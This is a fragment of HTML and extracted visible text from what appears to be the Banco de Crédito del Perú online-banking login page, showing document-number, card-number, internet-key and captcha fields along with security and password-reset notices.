<!---->
<button type="button" class="bcp-ffw-btn btn-text bcp-ffw-btn-md">
<bcp-paragraph class="hydrated">
<!---->
<p class="paragraph-md bcp-font-demi secondary-500">Cambiar código<span class="text-decoration"></span></p>
</bcp-paragraph>
</button>
</bcp-button>
</bcp-captcha>
</div>
</div>
</div>
<div _ngcontent-ng-c1031280460="" class="card-form__button" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="row" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<bcp-button _ngcontent-ng-c1031280460="" type="button" tier="primary" size="lg" full-width="" class="hydrated login">
<!---->
<button type="button" class="bcp-ffw-btn bcp-ffw-btn-primary bcp-ffw-btn-lg bcp-ffw-btn-block">
<bcp-paragraph class="hydrated">
<!---->
<p class="paragraph-lg bcp-font-demi white"> Continuar </p>
</bcp-paragraph>
</button>
</bcp-button>
</div>
</div>
</div>
</form>Text Content
Espere un momento por favor Espera un momento por favor Esta ventana se cerrará en 300 segundos Volver Volver question-circle BANCA POR INTERNET ⚠️ Datos incorrectos. × Persona Empresa DNI DNI CE PAS Nro de documento Número de tarjeta Recordar datos Clave de internet de 6 dígitos 4 0 9 3 6 8 1 5 7 2 Código Cambiar código Continuar lock Esta es una página segura del BCP. Si tienes dudas sobre la autenticidad de la web, comunícate con nosotros al (01) 311-9898 o a través de nuestros medios digitales. Esta es una página segura del BCP. Si tienes dudas sobre la autenticidad de la web, comunícate con nosotros al (01) 311-9898 o a través de nuestros medios digitales. Banco de Crédito del Perú S.A RUC: 20100047218 © 2024 VIABCP.com Todos los derechos reservados Banco de Crédito del Perú S.A - RUC: 20100047218 Todos los derechos reservados © 2024 VIABCP.com CREA UNA NUEVA CLAVE CON TU DNI DESDE BANCA POR INTERNET Cerrar * Dirígete a banca por internet. * Elige "Olvidé mi clave", sigue los pasos y listo. Atención Si cuentas con C.E o Pasaporte comunícate con nuestra Banca por teléfono al 311-9898. Ir a Banca por internet Please enable JavaScript to continue using this application.